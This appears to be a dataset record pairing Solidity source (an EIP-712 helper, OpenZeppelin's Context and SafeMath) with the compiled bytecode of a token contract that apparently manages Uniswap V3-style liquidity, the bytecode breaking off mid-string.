bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = _getChainId();
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view virtual returns (bytes32) {
if (_getChainId() == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
return keccak256(
abi.encode(
typeHash,
name,
version,
_getChainId(),
address(this)
)
);
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
} | 0x60806040526004361061013f5760003560e01c8062ebf5dd1461014857806306fdde031461017f578063095ea7b3146101a157806318160ddd146101ce57806323b872dd146101f0578063313ce567146102105780633644e5151461023257806339509351146102475780633fe529f014610267578063631f81ae146102875780636d70f7ae146102a757806370a08231146102c75780637ecebe00146102e75780637f98aa71146103075780638dbdbe6d1461032c57806395d89b411461034e578063a457c2d714610363578063a9059cbb14610383578063ac2dc562146103a3578063c8696232146103c8578063d3487997146103ef578063d505accf1461040f578063dd62ed3e1461042f578063e1c7392a1461044f578063eb3221b414610464578063fa02165614610479578063fa461e331461048e57610146565b3661014657005b005b34801561015457600080fd5b506101686101633660046148bd565b6104ae565b604051610176929190614a64565b60405180910390f35b34801561018b57600080fd5b50610194610742565b6040516101769190614a11565b3480156101ad57600080fd5b506101c16101bc3660046147d1565b6107d9565b60405161017691906149c0565b3480156101da57600080fd5b506101e36107f7565b60405161017691906149e3565b3480156101fc57600080fd5b506101c161020b366004614721565b6107fd565b34801561021c57600080fd5b50610225610885565b6040516101769190614ad7565b34801561023e57600080fd5b506101e361088e565b34801561025357600080fd5b506101c16102623660046147d1565b61089d565b34801561027357600080fd5b50610146610282366004614659565b6108eb565b34801561029357600080fd5b506101466102a2366004614659565b610943565b3480156102b357600080fd5b506101c16102c2366004614659565b610ad1565b3480156102d357600080fd5b506101e36102e2366004614659565b610af3565b3480156102f357600080fd5b506101e3610302366004614659565b610b0e565b34801561031357600080fd5b5061031c610b2f565b6040516101769493929190614977565b61033f61033a3660046148fe565b610b5c565b60405161017693929190614a72565b34801561035a57600080fd5b50610194610d53565b34801561036f57600080fd5b506101c161037e3660046147d1565b610db4565b34801561038f57600080fd5b506101c161039e3660046147d1565b610e1c565b3480156103af57600080fd5b506103b8610e30565b60405161017694939291906149ec565b3480156103d457600080fd5b506103dd610e59565b60405161017696959493929190614aa3565b3480156103fb57600080fd5b5061014661040a36600461492b565b610ee5565b34801561041b57600080fd5b5061014661042a366004614761565b610f42565b34801561043b57600080fd5b506101e361044a366004614675565b6110f9565b34801561045b57600080fd5b50610146611124565b34801561047057600080fd5b5061014661121f565b34801561048557600080fd5b50610146611315565b34801561049a57600080fd5b506101466104a9366004614855565b61171b565b600080600c60189054906101000a900463ffffffff1663ffffffff166001146104d657600080fd5b600c805463ffffffff60c01b1916600160c11b179055846104f657600080fd5b60006105006107f7565b600c54909150600160a01b900463ffffffff16600114156105a657600061053087670de0b6b3a764000084611786565b600954600a5491925061055d916001600160a01b031690600281810b9163010000009004900b8430611835565b600954600a549296509094506000918291610592916001600160a01b0316903090600281810b9163010000009004900b611a02565b915091506105a260008383611ac9565b5050505b60006105c46105bd856105b7611c41565b90611cc2565b8884611786565b905060006105de6105d7856105b7611cd2565b8985611786565b90506105ea8583611d03565b94506105f68482611d03565b935084156106185760075461061890879089906001600160a01b031688611d13565b83156106385760085461063890879089906001600160a01b031687611d13565b6106423389611db4565b866001600160a01b03167f02f25270a4d87bea75db541cdfe559334a275b4a233520ed6c0a2429667cca9489878760405161067f93929190614a72565b60405180910390a2600c54600160a01b900463ffffffff166001141561071f5760095460009081906106df90600281810b9163010000009004900b6106c2611c41565b6106ca611cd2565b600a546001600160a01b031693929190611e9e565b915091507f2fb985eb745b9e89bb1ab82e0f8ceb6bf94d4d60aed7e8196540c50161a5fe918282604051610714929190614a64565b60405180910390a150505b5050600c805463ffffffff60c01b1916600160c01b179055509094909350915050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107ce5780601f106107a3576101008083540402835291602001916107ce565b820191906000526020600020905b8154815290600101906020018083116107b157829003601f168201915b505050505090505b90565b60006107ed6107e6612000565b8484612004565b5060015b92915050565b60025490565b600061080a8484846120f0565b61087a84610816612000565b61087585604051806060016040528060288152602001614c13602891396001600160a01b038a16600090815260016020526040812090610854612000565b6001600160a01b031681526020810191909152604001600020549190612239565b612004565b5060015b9392505050565b60055460ff1690565b60006108986122d0565b905090565b60006107ed6108aa612000565b8461087585600160006108bb612000565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061239a565b60006108f56123f2565b505050509050806001600160a01b0316336001600160a01b03161461091957600080fd5b506001600160a01b03166000908152600d60205260409020805460ff19811660ff90911615179055565b336000908152600d602052604090205460ff1661095f57600080fd5b600b5460405163c683630d60e01b81526001600160a01b039091169063c683630d9061098f908490600401614963565b60206040518083038186803b1580156109a757600080fd5b505afa1580156109bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109df9190614818565b6109e857600080fd5b600954600a54600091829182918291610a1c916001600160a01b0390911690600281810b9163010000009004900b88612491565b9350935093509350306001600160a01b0316856001600160a01b031614610a7657600754610a5c906001600160a01b03163087610a57611c41565b612645565b600854610a76906001600160a01b03163087610a57611cd2565b600c805463ffffffff60a01b1916600160a11b1790556040517f0b807fda608508350274d5da730325b52bb86f7ba43085d327059ed4b2fc840490610ac2908690869086908690614a88565b60405180910390a15050505050565b6001600160a01b0381166000908152600d602052604090205460ff165b919050565b6001600160a01b031660009081526020819052604090205490565b6001600160a01b03811660009081526006602052604081206107f190612782565b600754600854600a546001600160a01b039283169383831693600160a01b90930462ffffff169290911690565b6000806000600c60189054906101000a900463ffffffff1663ffffffff16600114610b8657600080fd5b600c805463ffffffff60c01b1916600160c11b1790558515801590610bab5750600085115b610bb457600080fd5b6000610bbe612000565b9050610c4860018888610bcf611c41565b610bd7611cd2565b610bdf6107f7565b60408051608081018252600954600281810b810b810b835263010000008204810b810b810b6020840152600160301b8204810b810b810b93830193909352600160481b9004820b820b90910b6060820152600a546001600160a01b031696959493929190612786565b6007549296509094509250610c68906001600160a01b0316823086612645565b600854610c80906001600160a01b0316823085612645565b600c54600160a01b900463ffffffff1660011415610cc757600954600a54610cc4916001600160a01b0390911690600281810b9163010000009004900b8686611e9e565b50505b4715610cd757610cd73347612822565b610ce18585612916565b846001600160a01b0316816001600160a01b03167f4e2ca0515ed1aef1395f66b5303bb5d6f1bf9d61a353fa53f73f8ac9973fa9f6858588604051610d2893929190614a72565b60405180910390a350600c805463ffffffff60c01b1916600160c01b17905591959094509092509050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107ce5780601f106107a3576101008083540402835291602001916107ce565b60006107ed610dc1612000565b8461087585604051806060016040528060258152602001614cc56025913960016000610deb612000565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190612239565b60006107ed610e29612000565b84846120f0565b600954600281810b9163010000008104820b91600160301b8204810b91600160481b9004900b84565b60408051608081018252600954600281810b810b810b835263010000008204810b810b810b6020840152600160301b8204810b810b810b93830193909352600160481b9004820b820b90910b6060820152600a5460009182918291829182918291610ed2916001600160a01b03909116906001906129f4565b949b939a50919850965094509092509050565b610eed612a8b565b336000610efc83850185614659565b90508515610f1c57600754610f1c906001600160a01b0316828489612645565b8415610f3a57600854610f3a906001600160a01b0316828488612645565b505050505050565b83421115610f97576040805162461bcd60e51b815260206004820152601d60248201527f45524332305065726d69743a206578706972656420646561646c696e65000000604482015290519081900360640190fd5b6001600160a01b03871660009081526006602052604081207f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c990899089908990610fe090612782565b8960405160200180878152602001866001600160a01b03168152602001856001600160a01b031681526020018481526020018381526020018281526020019650505050505050604051602081830303815290604052805190602001209050600061104982612aa4565b9050600061105982878787612af0565b9050896001600160a01b0316816001600160a01b0316146110c1576040805162461bcd60e51b815260206004820152601e60248201527f45524332305065726d69743a20696e76616c6964207369676e61747572650000604482015290519081900360640190fd5b6001600160a01b038a1660009081526006602052604090206110e290612c61565b6110ed8a8a8a612004565b50505050505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600061112e6123f2565b505050509050806001600160a01b0316336001600160a01b03161461115257600080fd5b600c54600160e01b900463ffffffff1660011461116e57600080fd5b600c80546001600160e01b0316600160e11b179055600854600160b81b900460020b600061119a612c6a565b600a5490830291506000906111b7906001600160a01b0316612d03565b5091505060006111c78285612d85565b6009805462ffffff1916858303600290810b62ffffff9081169290921765ffffff00000019166301000000858901830b93909316830217928390559293506112189282810b9291909104900b612dd1565b5050505050565b336000908152600d602052604090205460ff1661123b57600080fd5b600c805463ffffffff60a01b1916600160a01b179055600954600a546000918291611281916001600160a01b0390911690600281810b9163010000009004900b30612491565b93509350505061129360018383611ac9565b600061129d612c6a565b600854600160b81b900460020b90810291506112da9082906112bd611c41565b6112c5611cd2565b600a546001600160a01b031693929190612e9a565b60098054600293840b62ffffff90811662ffffff199490950b1663010000000265ffffff000000199091161791909116919091179055505050565b336000908152600d602052604090205460ff1661133157600080fd5b600061133b6123f2565b5050600a5460405163051bb83360e01b81529294506001600160a01b03808616945063051bb833936113739350911690600401614963565b60006040518083038186803b15801561138b57600080fd5b505afa15801561139f573d6000803e3d6000fd5b5050600c805463ffffffff60a01b1916600160a01b179055506113c2905061457e565b600954600a546000916113ed916001600160a01b031690600281810b9163010000009004900b612ec5565b5050600954600a5491925061141b916001600160a01b031690600281810b9163010000009004900b30612491565b6020860181905281865260c086019290925260a085019290925261144191600191611ac9565b600061144b612c6a565b600854600a54600160b81b90910460020b919091029150611474906001600160a01b0316612d03565b50600290810b810b6040860181905260085461149d935090918491600160b81b9004900b612f63565b600290810b810b608086015290810b900b60608401526001600160801b038216158015906114d9575060a083015115806114d9575060c0830151155b15611547576000808460a00151116114f25760006114f5565b60015b90506000816115145761150f8560c0015160326064611786565b611525565b6115258560a0015160326064611786565b600a54909150611540906001600160a01b0316308484612f80565b505061166b565b61154f611c41565b60a084015261155c611cd2565b60c0840181905260a084015160608501516080860151600a5461158d946001600160a01b03909116939290916130fc565b6001600160801b031660e0840181905260608401516080850151600a546115c1936001600160a01b03909116929091613190565b6101208501819052610100850182905260a085015160c08601516115e9939192909190613227565b151561014084018190526116245761161f6116168461012001518560c00151611cc290919063ffffffff16565b60326064611786565b611643565b6116436116168461010001518560a00151611cc290919063ffffffff16565b6101608401819052610140840151600a5461166b926001600160a01b03909116913091612f80565b611673611c41565b60a0840152611680611cd2565b60c0840181905260a0840151600854600a546116b4936001600160a01b0390911692918590600160b81b900460020b613262565b6009805465ffffff00000019166301000000600293840b62ffffff90811682029290921762ffffff191694840b91909116939093179081905560a086015160c0870151600a54610f3a956001600160a01b039091169484810b9491909104900b9190611e9e565b611723612a8b565b60008413806117325750600083135b61173b57600080fd5b6000611749828401846147fc565b9050801561176e57600754611769906001600160a01b0316303388612645565b611218565b600854611218906001600160a01b0316303387612645565b60008080600019858709868602925082811090839003039050806117bc57600084116117b157600080fd5b50829004905061087e565b8084116117c857600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150509392505050565b6000808061184d6001600160a01b0389168888612ec5565b50509050600061186f826001600160801b031687670de0b6b3a7640000611786565b9050886001600160a01b031663a34123a7898961188b8561346a565b6040518463ffffffff1660e01b8152600401808460020b81526020018360020b8152602001826001600160801b0316815260200193505050506040805180830381600087803b1580156118dd57600080fd5b505af11580156118f1573d6000803e3d6000fd5b505050506040513d604081101561190757600080fd5b5080516020909101519094509250831515806119235750600083115b156119f657886001600160a01b0316634f1eb3d8868a8a6119438961346a565b61194c8961346a565b6040518663ffffffff1660e01b815260040180866001600160a01b031681526020018560020b81526020018460020b8152602001836001600160801b03168152602001826001600160801b03168152602001955050505050506040805180830381600087803b1580156119be57600080fd5b505af11580156119d2573d6000803e3d6000fd5b505050506040513d60408110156119e857600080fd5b50516001600160801b031693505b50509550959350505050565b600080611a108685856134b2565b50604080516309e3d67b60e31b81526001600160a01b038781166004830152600287810b602484015286900b60448301526001600160801b03606483018190526084830152825190891692634f1eb3d89260a480820193918290030181600087803b158015611a7e57600080fd5b505af1158015611a92573d6000803e3d6000fd5b505050506040513d6040811015611aa857600080fd5b5080516020909101516001600160801b039182169891169650945050505050565b600080611ad46123f2565b509350935050506000841115611b76576007546001600160a01b031663a9059cbb83611b058760ff86166064611786565b6040518363ffffffff1660e01b8152600401611b229291906149a7565b602060405180830381600087803b158015611b3c57600080fd5b505af1158015611b50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b749190614818565b505b8215611c0e576008546001600160a01b031663a9059cbb83611b9d8660ff86166064611786565b6040518363ffffffff1660e01b8152600401611bba9291906149a7565b602060405180830381600087803b158015611bd457600080fd5b505af1158015611be8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0c9190614818565b505b7ff8994d9c768d599c5c6e92d52cd9cc24762cd773384c7a4612796773c56a86a6858585604051610ac2939291906149cb565b6007546040516370a0823160e01b81526000916001600160a01b0316906370a0823190611c72903090600401614963565b60206040518083038186803b158015611c8a57600080fd5b505afa158015611c9e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089891906148a5565b808203828111156107f157600080fd5b6008546040516370a0823160e01b81526000916001600160a01b0316906370a0823190611c72903090600401614963565b808201828110156107f157600080fd5b838015611d2d5750600c546001600160a01b038381169116145b15611da357600c54604051632e1a7d4d60e01b81526001600160a01b0390911690632e1a7d4d90611d629084906004016149e3565b600060405180830381600087803b158015611d7c57600080fd5b505af1158015611d90573d6000803e3d6000fd5b50505050611d9e8382612822565b611dae565b611dae82848361356b565b50505050565b6001600160a01b038216611df95760405162461bcd60e51b8152600401808060200182810382526021815260200180614c5b6021913960400191505060405180910390fd5b611e0582600083612911565b611e4281604051806060016040528060228152602001614b3e602291396001600160a01b0385166000908152602081905260409020549190612239565b6001600160a01b038316600090815260208190526040902055600254611e6890826136b2565b6002556040805182815290516000916001600160a01b03851691600080516020614c3b8339815191529181900360200190a35050565b60008080611eb86001600160a01b03891686868a8a6130fc565b90506001600160801b03811615611ff5576040805130602080830182905283518084038201815283850194859052633c8a7d8d60e01b9094526044830182815260028c810b60648601528b900b60848501526001600160801b03861660a485015260a060c48501908152855160e486015285516001600160a01b038f1696633c8a7d8d968f958f958b959394909392610104019185019080838360005b83811015611f6d578181015183820152602001611f55565b50505050905090810190601f168015611f9a5780820380516001836020036101000a031916815260200191505b5096505050505050506040805180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b505050506040513d6040811015611fe657600080fd5b50805160209091015190935091505b509550959350505050565b3390565b6001600160a01b0383166120495760405162461bcd60e51b8152600401808060200182810382526024815260200180614ca16024913960400191505060405180910390fd5b6001600160a01b03821661208e5760405162461bcd60e51b8152600401808060200182810382526022815260200180614b606022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166121355760405162461bcd60e51b8152600401808060200182810382526025815260200180614c7c6025913960400191505060405180910390fd5b6001600160a01b03821661217a5760405162461bcd60e51b8152600401808060200182810382526023815260200180614b1b6023913960400191505060405180910390fd5b612185838383612911565b6121c281604051806060016040528060268152602001614b82602691396001600160a01b0386166000908152602081905260409020549190612239565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546121f1908261239a565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020614c3b83398151915292918290030190a3505050565b600081848411156122c85760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561228d578181015183820152602001612275565b50505050905090810190601f1680156122ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60007f00000000000000000000000000000000000000000000000000000000000000016122fb61370f565b141561232857507fb5f32ac76c0073543d9c19cd41a32c68fe679e5715d2d59b5d0b8efa8c2d1ace6107d6565b6123937f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7fb4d07c827f1400b7226a56a0701535b38662f7eec508b4fcec2c16c5f9c49f5b7fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6613713565b90506107d6565b60008282018381101561087e576040805162461bcd60e51b815260206004820152601b60248201527a536166654d6174683a206164646974696f6e206f766572666c6f7760281b604482015290519081900360640190fd5b6000806000806000600b60009054906101000a90046001600160a01b03166001600160a01b03166338d772806040518163ffffffff1660e01b815260040160a06040518083038186803b15801561244857600080fd5b505afa15801561245c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061248091906146ad565b945094509450945094509091929394565b6000808080806124ab6001600160a01b038a168989612ec5565b50909150506001600160801b03811615612639576040805163a34123a760e01b815260028a810b600483015289900b60248201526001600160801b038316604482015281516001600160a01b038c169263a34123a792606480820193918290030181600087803b15801561251e57600080fd5b505af1158015612532573d6000803e3d6000fd5b505050506040513d604081101561254857600080fd5b5080516020909101519095509350841515806125645750600084115b1561263957604080516309e3d67b60e31b81526001600160a01b03888116600483015260028b810b60248401528a900b60448301526001600160801b0360648301819052608483015282516000938493928e1692634f1eb3d89260a4808301939282900301818787803b1580156125da57600080fd5b505af11580156125ee573d6000803e3d6000fd5b505050506040513d604081101561260457600080fd5b5080516020909101516001600160801b0391821693501690506126278288611cc2565b6126318288611cc2565b909550935050505b50945094509450949050565b600c546001600160a01b0385811691161480156126625750804710155b1561275a57600c60009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156126b757600080fd5b505af11580156126cb573d6000803e3d6000fd5b5050600c5460405163a9059cbb60e01b81526001600160a01b03909116935063a9059cbb92506127029150859085906004016149a7565b602060405180830381600087803b15801561271c57600080fd5b505af1158015612730573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127549190614818565b50611dae565b6001600160a01b03831630141561277657611d9e84838361356b565b611dae84848484613775565b5490565b600080600080600080600061279c8f8f8a6129f4565b5050935093509350935060006127c58c6127bf8588611d0390919063ffffffff16565b90611d03565b905060006127d78c6127bf8786611d03565b90508a15806127e557508115155b806127ef57508015155b6127f557fe5b6128028f8f84848f6138c5565b809950819a50829b50505050505050505050985098509895505050505050565b604080516000808252602082019092526001600160a01b0384169083906040518082805190602001908083835b6020831061286e5780518252601f19909201916020918201910161284f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146128d0576040519150601f19603f3d011682016040523d82523d6000602084013e6128d5565b606091505b5050905080612911576040805162461bcd60e51b815260206004820152600360248201526253544560e81b604482015290519081900360640190fd5b505050565b6001600160a01b038216612971576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61297d60008383612911565b60025461298a908261239a565b6002556001600160a01b0382166000908152602081905260409020546129b0908261239a565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020614c3b8339815191529281900390910190a35050565b600080600080600080612a108988600001518960200151613959565b93995091975095509350915087612a7f576000806000806000612a3c8e8d604001518e60600151613959565b939850919650945092509050612a528b86611d03565b9a50612a5e8a85611d03565b9950612a6a8984611d03565b9850612a768883611d03565b97509450505050505b93975093979195509350565b600a546001600160a01b03163314612aa257600080fd5b565b6000612aae6122d0565b82604051602001808061190160f01b81525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050919050565b60006fa2a8918ca85bafe22016d0b997e4df60600160ff1b03821115612b475760405162461bcd60e51b8152600401808060200182810382526022815260200180614bcf6022913960400191505060405180910390fd5b8360ff16601b1480612b5c57508360ff16601c145b612b975760405162461bcd60e51b8152600401808060200182810382526022815260200180614bf16022913960400191505060405180910390fd5b600060018686868660405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015612bf3573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116612c56576040805162461bcd60e51b815260206004820152601860248201527745434453413a20696e76616c6964207369676e617475726560401b604482015290519081900360640190fd5b90505b949350505050565b80546001019055565b600080612c756123f2565b5050600a54604051630737687360e21b81529294506001600160a01b038086169450631cdda1cc93612cad9350911690600401614963565b60206040518083038186803b158015612cc557600080fd5b505afa158015612cd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cfd9190614834565b91505090565b6000806000836001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b158015612d4157600080fd5b505afa158015612d55573d6000803e3d6000fd5b505050506040513d60e0811015612d6b57600080fd5b508051602082015160609092015190969195509350915050565b6000808260020b8460020b81612d9757fe5b05905060008460020b128015612dbe57508260020b8460020b81612db757fe5b0760020b15155b15612dc857600019015b90910292915050565b8060020b8260020b12612e11576040805162461bcd60e51b8152602060048201526003602482015262544c5560e81b604482015290519081900360640190fd5b620d89e719600283900b1215612e54576040805162461bcd60e51b8152602060048201526003602482015262544c4d60e81b604482015290519081900360640190fd5b620d89e8600282900b1315612e96576040805162461bcd60e51b815260206004820152600360248201526254554d60e81b604482015290519081900360640190fd5b5050565b600080612eb36001600160a01b03881685858989613262565b90925090506119f68783838787611e9e565b600080600080612ed630878761399e565b9050866001600160a01b031663514ea4bf826040518263ffffffff1660e01b81526004018082815260200191505060a06040518083038186803b158015612f1c57600080fd5b505afa158015612f30573d6000803e3d6000fd5b505050506040513d60a0811015612f4657600080fd5b508051606082015160809092015190999198509650945050505050565b6000806000612f728685612d85565b858103979501955050505050565b6000612f94856001600160a01b0316612d03565b505090506000620f42408261c350026001600160a01b031681612fb357fe5b049050600084612fc557818301612fc9565b8183035b9050866001600160a01b031663128acb08878787858a6040516020018082151581526020019150506040516020818303038152906040526040518663ffffffff1660e01b815260040180866001600160a01b031681526020018515158152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015613078578181015183820152602001613060565b50505050905090810190601f1680156130a55780820380516001836020036101000a031916815260200191505b5096505050505050506040805180830381600087803b1580156130c757600080fd5b505af11580156130db573d6000803e3d6000fd5b505050506040513d60408110156130f157600080fd5b505050505050505050565b600080866001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561313857600080fd5b505afa15801561314c573d6000803e3d6000fd5b505050506040513d60e081101561316257600080fd5b5051905061318381613173866139ef565b61317c866139ef565b8989613d16565b9150505b95945050505050565b6000806000866001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b1580156131ce57600080fd5b505afa1580156131e2573d6000803e3d6000fd5b505050506040513d60e08110156131f857600080fd5b5051905061321881613209876139ef565b613212876139ef565b89613dd8565b92509250505b9450949250505